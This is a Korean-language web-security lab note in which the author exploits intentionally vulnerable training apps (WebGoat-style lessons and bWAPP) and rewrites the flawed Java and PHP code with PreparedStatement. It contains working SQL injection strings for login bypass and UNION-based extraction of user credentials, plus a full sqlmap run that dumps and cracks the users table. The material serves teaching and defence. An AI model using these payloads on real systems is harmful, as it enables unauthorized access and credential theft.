💻 실습 준비
❶ beebox, kali 가상머신 실행
❷ 작업 관리자에서 MySQL을 종료하고, C:\FullstackLAB\run.bat 실행
❸ 이클립스에서 Tomcat 서버 실행
💻 취약한 소스 코드를 안전한 형태로 변경
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(new P().addElement("Enter your Account Number: "));
String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
// PreparedStatement 객체를 이용해서 미리 정의한 구조로 쿼리가 실행되는 것을 보장
// → 구조화된 쿼리 실행 또는 파라미터화 된 쿼리 실행
// #1 쿼리의 구조를 정의
// 변수 부분을 ?로 표시 (데이터 타입을 고려하지 않음 = 따움표를 포함하지 않음)
String query = "SELECT * FROM user_data WHERE userid = ? ";
String answer_query = "SELECT name FROM pins WHERE cc_number = '" + TARGET_CC_NUM +"'";
try
{
Statement answer_statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(answer_query);
answer_results.first();
System.out.println("Account: " + accountNumber );
System.out.println("Answer : " + answer_results.getString(1));
if (accountNumber.toString().equals(answer_results.getString(1)))
{
makeSuccess(s);
} else
{
// #2 PreparedStatement 객체를 생성
// connection.prepareStatement() 메서드를 이용해서 생성
// 매개 변수의 값으로 쿼리 구조를 전달
PreparedStatement statement =
connection.prepareStatement(query, → 객체 생성 시 쿼리 구조 미리 정의
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
// #3 쿼리 실행에 필요한 변수를 설정하고 쿼리를 실행
// 변수 값이 할당되는 컬럼의 데이터 타입에 맞는 메서드를 사용해야 하고,
// 쿼리 실행 메서드에 쿼리문을 전달하지 않아야 함
statement.setInt(1,
Integer.parseInt(accountNumber)); → 변수의 값을 할당 (인덱스가 1부터 시작)
공격 문자가 포함되면 숫자 변환 시 오류 발생
ResultSet results
= statement.executeQuery(); → 쿼리 구문이 이미 정의되어 있으므로
executeQuery() 메서드에 쿼리문을 전달하지 않음
if ((results != null) && (results.first() == true))
{
ec.addElement(new P().addElement("Account number is valid"));
} else
{
ec.addElement(new P().addElement("Invalid account number"));
}
}
}
catch (SQLException sqle)
{
ec.addElement(new P().addElement("An error occurred, please try again."));
// comment out two lines below
ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
❶ 개발자 도구를 이용해 로그인 버튼을 클릭했을 때 서버로 전달되는 내용 분석
attack?Screen=18&menu=1100&employee_id=112&password=입력한패스워드&action=Login
<form id="form1" name="form1" method="post" action="attack?Screen=18&menu=1100">
<label>
<select name="employee_id">
<option value="101">Larry Stooge (employee)</option>
<option value="102">Moe Stooge (manager)</option>
<option value="103">Curly Stooge (employee)</option>
<option value="104">Eric Walker (employee)</option>
<option value="105">Tom Cat (employee)</option>
<option value="106">Jerry Mouse (hr)</option>
<option value="107">David Giambi (manager)</option>
<option value="108">Bruce McGuirre (employee)</option>
<option value="109">Sean Livingston (employee)</option>
<option value="110">Joanne McDougal (hr)</option>
<option value="111">John Wayne (admin)</option>
<option value="112">Neville Bartholomew (admin)</option>
</select>
</label>
<br>
<label>Password
<input name="password" type="password"
size="10" maxlength="8">
~~~~~~~~~~~^~~
# 입력값 최대 길이 제한
</label>
<br>
<input type="submit" name="action" value="Login">
</form>
❷ 요청 파라미터를 이용한 내부 실행(쿼리문을 만들고 실행)을 유추
select * from users where id = 112 and pw = '입력한 패스워드'
# 일치하는 결과가 존재하면 로그인에 성공
❸ 유추한 쿼리를 일치하는 결과가 항상 존재하도록 수정
select * from users where id = 112 and pw = 'a' or 'a' = 'a'
~ ~~~~~~~~~~~
| +-- 항상 참이 되는 조건을 추가
+-- 의미 없는 값(아무 값 가능)
❹ 패스워드 입력창에 ❸에서 만든 공격 문자열을 추가해서 로그인을 시도
👉 maxlength=8 로 입력값의 길이가 제한되어 공격 문자열을 입력할 수 없음
❺ 방법 ⑴ 개발자 도구를 이용해 입력값 길이 제한을 해제 후 공격
❺ 방법 ⑵ 프록시 도구를 이용해 요청 데이터를 변조해서 전달(공격)
❻ 로그인 성공
👉 SQL 인젝션 취약점을 이용한 인증과정 우회
❼ 해당 사이트의 문제점
클라이언트(화면) 사이드에서 입력값의 길이를 제한했으면 서버 사이드에서 입력값의 길이를 체크해야 하나 하지 않음
👉 입력값 검증 부재
입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고 쿼리문 생성 및 실행에 사용
👉 SQL Injection
❽ 취약한 소스 코드 확인
public boolean login(WebSession s, String userId, String password) {
// System.out.println("Logging in to lesson");
boolean authenticated = false;
try {
// 외부 입력값을 쿼리 조작 문자열 포함 여부를 확인하지 않고
문자열 결합 방식으로 쿼리문 생성에 사용
String query = "SELECT * FROM employee WHERE userid = " + userId + "
and password = '" + password + "'";
// System.out.println("Query:" + query);
try {
// Statement 객체를 이용해서 쿼리를 실행
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first()) {
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
authenticated = true;
}
} catch (SQLException sqle) {
s.setMessage("Error logging in");
sqle.printStackTrace();
}
} catch (Exception e) {
s.setMessage("Error logging in");
e.printStackTrace();
}
// System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
👉 해당 소스 코드는 Statement 객체를 이용해서 쿼리를 실행하고 있는데 외부 입력값을 쿼리 조작 문자열 포함 여부를 확인하지 않고 문자열 결합 방식으로 쿼리문 생성에 사용하므로 외부 입력값에 의해 쿼리의 구조와 내용이 변형되어 실행될 수 있음
public boolean login(WebSession s, String userId, String password) {
// System.out.println("Logging in to lesson");
boolean authenticated = false;
try {
// #1 쿼리의 구조를 정의
String query = "SELECT * FROM employee
WHERE userid = ? and password = ? ";
// System.out.println("Query:" + query);
try {
// #2 PreparedStatement 객체를 생성
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
// #3 변수에 값 전달 후 쿼리 실행
answer_statement.setInt(1, Integer.parseInt(userId));
answer_statement.setString(2, password);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.first()) {
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
authenticated = true;
}
} catch (SQLException sqle) {
s.setMessage("Error logging in");
sqle.printStackTrace();
}
} catch (Exception e) {
s.setMessage("Error logging in");
e.printStackTrace();
}
// System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
❶ ViewProfile 버튼을 클릭했을 때 서버로 전달되는 내용을 분석
attack?Screen=18&menu=1100&employee_id=101&action=ViewProfile
~~~~~~~~~~~~~~~
# 열람하도록 하는 사용자의 사번
select * from users where user_id = 101
<form id="form1" name="form1" method="post" action="attack?Screen=18&menu=1100">
<table width="60%" cellpadding="3" border="0">
<tbody><tr>
<td> <label>
<select name="employee_id" size="11">
<option selected="" value="101">Larry Stooge (employee)</option>
</select>
</label></td>
<td>
<input type="submit" name="action" value="SearchStaff"><br>
<input type="submit" name="action" value="ViewProfile"><br>
<br>
<input type="submit" name="action" value="Logout">
</td>
</tr>
</tbody></table>
</form>
❷ 개발자 도구 또는 Proxy 도구를 이용해서 employee_id의 값을 Neville의 사번(112)으로 변경해서 요청을 시도
❸ 소스 코드 확인
public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) throws UnauthorizedException {
Employee profile = null;
// Query the database for the profile data of the given employee
try {
String query = "SELECT employee.* "
+ "FROM employee,ownership
WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = " + userId + "
and ownership.employee_id = " + subjectUserId;
try {
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) { # 조회 결과 데이터의 맨 처음
데이터를 읽어서 출력
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"),
answer_results.getString("title"), answer_results.getString("phone"),
answer_results.getString("address1"), answer_results.getString("address2"),
answer_results.getInt("manager"), answer_results.getString("start_date"),
answer_results.getInt("salary"), answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"), answer_results.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
// System.out.println("Profile: " + profile);
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle) {
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e) {
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
❹ 개발자 도구를 이용해서 공격 문자열을 전달
❺ 결과 확인
❻ 소스 코드를 안전한 형태로 변경
public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) throws UnauthorizedException {
Employee profile = null;
// Query the database for the profile data of the given employee
try {
// #1 쿼리의 구조를 정의
String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = ? and ownership.employee_id = ? ";
try {
// #2 PreparedStatement 객체를 생성
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
// #3 변수에 값을 맵핑하고 쿼리를 실행
answer_statement.setInt(1, Integer.parseInt(userId));
answer_statement.setInt(2, Integer.parseInt(subjectUserId));
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) {
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"),
answer_results.getString("title"), answer_results.getString("phone"),
answer_results.getString("address1"), answer_results.getString("address2"),
answer_results.getInt("manager"), answer_results.getString("start_date"),
answer_results.getInt("salary"), answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"), answer_results.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
// System.out.println("Profile: " + profile);
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle) {
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e) {
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
👆 Kali 가상머신에서 http://bee.box/bWAPP 로 접속 후 SQL Injection (GET/Search) 선택하고 Hack 버튼을 클릭 (만약 Security Level이 low가 아니면 low 선택 후 Set 버튼을 클릭해서 변경)
🎥 영화 검색 서비스
입력한 키워드가 제목에 들어간 영화를 조회해서 정보를 제공
🔎 문제
해당 서비스에 등록된 모든 사용자의 계정 정보를 탈취하시오.
✔ 기능 분석
Movie: man
/bWAPP/sqli_1.php?title=man&action=search
<form action="/bWAPP/sqli_1.php" method="GET">
<p>
<label for="title">Search for a movie:</label>
<input type="text" id="title" name="title" size="25">
<button type="submit" name="action" value="search">Search</button>
</p>
</form>
select * from movies where title like '%man%'
# 조건과 일치하는 데이터를 조회해서 출력
select * from movies where title like '%man'%'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
# 정상적인 쿼리로 해석 # 알 수 없는 내용
# 제목이 man으로 끝나는 데이터를 조회 # 구문 오류 발생
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' %'' at line 1
💡 오류 메시지를 통해 아래 내용 확인 가능
❗ 해당 서비스의 데이터베이스는 MySQL이고, 입력값을 검증·제한하지 않고 그대로 쿼리문 생성 및 실행에 사용되고 있음을 알 수 있음
❗ 인젝션 가능
select * from movies where title like '%man' UNION 공격자가 원하는 데이터를 조회하는 쿼리 -- %'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~
(1) 서비스 쿼리의 실행 결과 | (2) 공격자가 알고자 하는 결과 # 인라인 주석 (#과 동일)
|
+-- (1) 쿼리의 결과 (2) 쿼리의 결과를 하나로 합쳐주는 역할
. 두 쿼리의 실행 결과가 동일한 컬럼 개수를 가져야 함
. 두 쿼리의 실행 결과의 각 컬럼의 데이터 타입이 호환 가능해야 함
⇒ (1) 쿼리의 실행 결과로 반환되는 컬럼의 개수와 데이터 타입을
확인하는 것이 필요
select * from movies where title like '%man' or 'a' = 'a' order by 1 -- %'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~
# 모든 데이터를 조회 # 조회 결과를 첫번째
컬럼의 값을 기준으로 정렬
select * from movies where title like '%man' or 'a' = 'a' order by 2 -- %'
:
select * from movies where title like '%man' or 'a' = 'a' order by 8 -- %'
select * from movies where title like '%man' and 'a' = 'b' -- %'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# 항상 거짓이 되는 조건 추가
→ 조회 결과가 없음
→ 모든 데이터 타입과 결합이 가능
select * from movies where title like '%man'
and 'a' = 'b' UNION select 1, 2, 3, 4, 5, 6, 7 -- %'
select * from movies where title like '%man'
and 'a' = 'b' UNION select 1, @@version, 3, 4, 5, 6, 7 -- %'
데이터베이스가 제공하는 시스템 테이블을 이용해서 원하는 정보 조회
✔ https://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-table.html
✔ https://dev.mysql.com/doc/refman/8.0/en/information-schema-tables-table.html
✔ https://dev.mysql.com/doc/refman/8.0/en/information-schema-columns-table.html
해당 시스템의 데이터베이스에 생성되어 있는 테이블 목록을 조회
select * from movies where title like '%man' and 'a' = 'b' UNION select 1,
table_name, table_type, 4, 5, 6, 7 from information_schema.tables -- %'
select * from movies where title like '%man' and 'a' = 'b' UNION
select 1, table_name, column_name, 4, 5, 6, 7 from information_schema.columns
where table_name = 'users' -- %'
select * from movies where title like '%man' and 'a' = 'b' UNION select 1,
concat(id, ' : ', login), password, email, secret, 6, 7 from users -- %'
패스워드 크래킹을 통해서 사용자의 패스워드(원문)를 확인
✔ https://crackstation.net
안전하지 않은 해시 함수를 사용하는 경우, 쉽게 원문을 추출할 수 있음
해당 사이트에 가입된 사용자 계정을 확인
👉 A.I.M. / bug
👉 bee / bug
취약한 소스 코드 확인 (bee-box 가상머신에서 gedit를 실행)
bee@bee-box:~$ gedit
# sqli_1.php
<?php
include("security.php");
include("security_level_check.php");
include("selections.php");
include("functions_external.php"); # 보안 등급별로 실행될 함수를 정의하고 있는 파일
include("connect.php");
function sqli($data)
{
switch($_COOKIE["security_level"]) # 사용자 화면에서 설정한
보안 등급(쿠키에 저장되어 있음)에 따라 동작
{
case "0" : # 낮은 보안 등급이 설정되면 취약한 함수가 호출
$data = no_check($data); # 매개 변수로 전달한 값을 그대로 반환
= 입력값이 그대로 사용되는 구조
break;
case "1" :
$data = sqli_check_1($data); # 높은 보안 등급은 매개 변수에서
문제가 되는 부분을 제거하는 기능 구현
break;
case "2" :
$data = sqli_check_2($data);
break;
default :
$data = no_check($data);
break;
}
return $data;
}
?>
... 화면 구성 ...
<div id="main">
<h1>SQL Injection (GET/Search)</h1>
<form action="<?php echo($_SERVER["SCRIPT_NAME"]); ?>" method="GET">
# 문제 부분
사용자가 입력한 값을 현재 페이지로
<p> 다시 호출하는 구조
<label for="title">Search for a movie:</label>
<input type="text" id="title" name="title" size="25">
<button type="submit" name="action" value="search">Search</button>
# 버튼을 클릭하면 action 이름으로
search라는 값을 전달
</p>
</form>
<table id="table_yellow">
<tr height="30" bgcolor="#ffb717" align="center">
<td width="200"><b>Title</b></td>
<td width="80"><b>Release</b></td>
<td width="140"><b>Character</b></td>
<td width="80"><b>Genre</b></td>
<td width="80"><b>IMDb</b></td>
</tr>
<?php
if(isset($_GET["title"])) # 제목을 입력하고 search 버튼을
클릭해서 온 요청인지를 판단
{
$title = $_GET["title"];
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
~~~~~~~~~~~~~~~~
$recordset = mysql_query($sql, $link); # 문자열 결합 방식으로 쿼리문 생성
보안 등급별 함수 호출 결과를 이용
if(!$recordset) # 오류가 발생하는 경우
{
// die("Error: " . mysql_error());
?>
<tr height="50">
<td colspan="5" width="580"><?php die("Error: " . mysql_error()); ?></td>
</tr>
<?php
}
if(mysql_num_rows($recordset) != 0) # 조회 결과가 있는 경우
{
while($row = mysql_fetch_array($recordset))
{
?>
<tr height="30">
<td><?php echo $row["title"]; ?></td>
<td align="center"><?php echo $row["release_year"]; ?></td>
<td><?php echo $row["main_character"]; ?></td>
<td align="center"><?php echo $row["genre"]; ?></td>
<td align="center"><a href="http://www.imdb.com/title/<?php echo $row["imdb"]; ?>" target="_blank">Link</a></td>
</tr>
<?php
}
}
else # 조회 결과가 없는 경우
{
?>
<tr height="30">
<td colspan="5" width="580">No movies were found!</td>
</tr>
<?php
}
mysql_close($link); # 데이터베이스 연결을 종료
}
else # 메뉴를 통해서 호출되는 경우
→ 조회 결과 없이 기능을 제공
{
?>
<tr height="30">
<td colspan="5" width="580"></td>
</tr>
<?php
}
?>
</table>
</div>
... 공통 부분 ...
function no_check($data)
{
return $data; # 매개변수 값을 그대로 반환
} → 쿼리 조작 문자열이 포함되어 있어도 그대로 사용되게 됨
function sqli_check_1($data)
{
return addslashes($data); # https://www.php.net/manual/en/function.addslashes.php
}
function sqli_check_2($data)
{
return mysql_real_escape_string($data); # https://www.php.net/manual/en/function.mysql-real-escape-string.php
}
💻 kali 가상머신에서 진행
┌──(kali㉿kali)-[~]
└─$ sudo apt update
┌──(kali㉿kali)-[~]
└─$ sudo apt install -y sqlmap
# 인젝션에 사용되는 요청 파라미터를 지정
┌──(kali㉿kali)-[~] ~~~~~~~~~
└─$ sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man
--cookie="PHPSESSID=9a7ebadcd055dcb3b555493c86862342;
security_level=0" --dbs
# login.php 페이지로 리다이렉트된다는 메시지가 나오는 경우
다시 로그인한 후 쿠키값을 재설정해서 실행
___
__H__
___ ___[,]_____ ___ ___ {1.8.3#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:44:45 /2024-03-23/
[08:44:46] [INFO] testing connection to the target URL
[08:44:47] [WARNING] potential CAPTCHA protection mechanism detected
[08:44:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[08:44:47] [INFO] testing if the target URL content is stable
[08:44:48] [INFO] target URL content is stable
[08:44:48] [INFO] testing if GET parameter 'title' is dynamic
[08:44:48] [INFO] GET parameter 'title' appears to be dynamic
[08:44:48] [INFO] heuristic (basic) test shows that GET parameter 'title' might be injectable (possible DBMS: 'MySQL')
~~~~~~~~~~~~~~~~~~~~~~~~~~~
[08:44:49] [INFO] heuristic (XSS) test shows that GET parameter 'title' might be vulnerable to cross-site scripting (XSS) attacks
[08:44:49] [INFO] testing for SQL injection on GET parameter 'title'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
~~~~~~~~~~~~~~~~~~~~~~~~~
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[09:00:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:00:46] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[09:00:46] [WARNING] there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests
[09:00:46] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
[09:00:46] [WARNING] reflective value(s) found and filtering out
[09:00:47] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:00:47] [INFO] testing 'Generic inline queries'
[09:00:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[09:00:48] [INFO] GET parameter 'title' appears to be 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="The")
[09:00:48] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[09:00:48] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[09:00:48] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[09:00:48] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[09:00:48] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[09:00:48] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[09:00:48] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[09:00:48] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[09:00:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[09:00:48] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[09:00:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[09:00:48] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[09:00:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[09:00:48] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[09:00:48] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[09:00:48] [INFO] GET parameter 'title' is 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[09:00:48] [INFO] testing 'MySQL inline queries'
[09:00:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[09:00:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[09:00:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[09:00:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[09:00:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[09:00:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[09:00:48] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:00:58] [INFO] GET parameter 'title' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[09:00:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:00:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[09:00:58] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:00:59] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[09:00:59] [INFO] target URL appears to have 7 columns in query
[09:00:59] [INFO] GET parameter 'title' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'title' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 53 HTTP(s) requests:
---
Parameter: title (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: title=man' AND 8478=8478#
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: title=man' AND ROW(7222,8610)>(SELECT COUNT(*),CONCAT(0x716b717071,(SELECT (ELT(7222=7222,1))),0x71707a7071,FLOOR(RAND(0)*2))x FROM (SELECT 7663 UNION SELECT 7891 UNION SELECT 5544 UNION SELECT 5759)a GROUP BY x)-- GjWE
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: title=man' AND (SELECT 1592 FROM (SELECT(SLEEP(5)))Eyqw)-- GmxL
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: title=man' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b717071,0x7551495462494a645371475777696e46445a4b756962516c4c7644664a5a556a625368436873787a,0x71707a7071),NULL#
---
[09:09:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 4.1
[09:09:51] [INFO] fetching database names
available databases [4]:
[*] bWAPP
[*] drupageddon
[*] information_schema
[*] mysql
[09:09:51] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/bee.box'
[*] ending @ 09:09:51 /2024-03-23/
┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man
--cookie="PHPSESSID=9a7ebadcd055dcb3b555493c86862342;
security_level=0" -D bWAPP --tables
[03:25:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[03:25:30] [INFO] fetching tables for database: 'bWAPP'
Database: bWAPP
[5 tables]
+----------+
| blog |
| heroes |
| movies |
| users |
| visitors |
+----------+
┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man
--cookie="PHPSESSID=9a7ebadcd055dcb3b555493c86862342;
security_level=0" -D bWAPP -T users --columns
[03:27:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[03:27:05] [INFO] fetching columns for table 'users' in database 'bWAPP'
Database: bWAPP
Table: users
[9 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| admin | tinyint(1) |
| activated | tinyint(1) |
| activation_code | varchar(100) |
| email | varchar(100) |
| id | int(10) |
| login | varchar(100) |
| password | varchar(100) |
| reset_code | varchar(100) |
| secret | varchar(100) |
+-----------------+--------------+
┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man
--cookie="PHPSESSID=9a7ebadcd055dcb3b555493c86862342;
security_level=0" -D bWAPP -T users --dump
[03:28:32] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q]
[03:29:12] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[03:29:15] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]
[03:29:30] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[03:29:30] [INFO] starting 4 processes
[03:29:52] [INFO] cracked password 'bug' for user 'A.I.M.'
Database: bWAPP
Table: users
[2 entries]
+----+--------------------------+--------+-------------------------------------+---------+------------------------------------------------+-----------+------------+-----------------+
| id | email | login | secret | admin | password | activated | reset_code | activation_code |
+----+--------------------------+--------+-------------------------------------+---------+------------------------------------------------+-----------+------------+-----------------+
| 1 | bwapp-aim@mailinator.com | A.I.M. | A.I.M. or Authentication Is Missing | 1 | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1 | NULL | NULL |
| 2 | bwapp-bee@mailinator.com | bee | Any bugs? | 1 | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1 | NULL | NULL |
+----+--------------------------+--------+-------------------------------------+---------+------------------------------------------------+-----------+------------+-----------------+
[03:30:02] [INFO] table 'bWAPP.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/bee.box/dump/bWAPP/users.csv'
[03:30:02] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/bee.box'
[*] ending @ 03:30:02 /2024-03-14/
💡 운영체제(OS) 명령어 삽입
⑴ 어플리케이션에 운영체제 명령어(= 쉘 명령어)를 실행하는 기능이 존재하는 경우
⑵ 외부 입력값을 검증·제한하지 않고 운영체제 명령어 또는 운영체제 명령어의 일부로 사용되는 경우 발생
👩💻 시스템의 제어권을 탈취해서 해당 시스템을 원격에서 공격자 마음대로 제어할 수 있게 됨
✍ 운영체제 명령어(= 쉘 명령어)를 실행하는 기능
Runtime.getRuntime().exec("쉘 명령어")
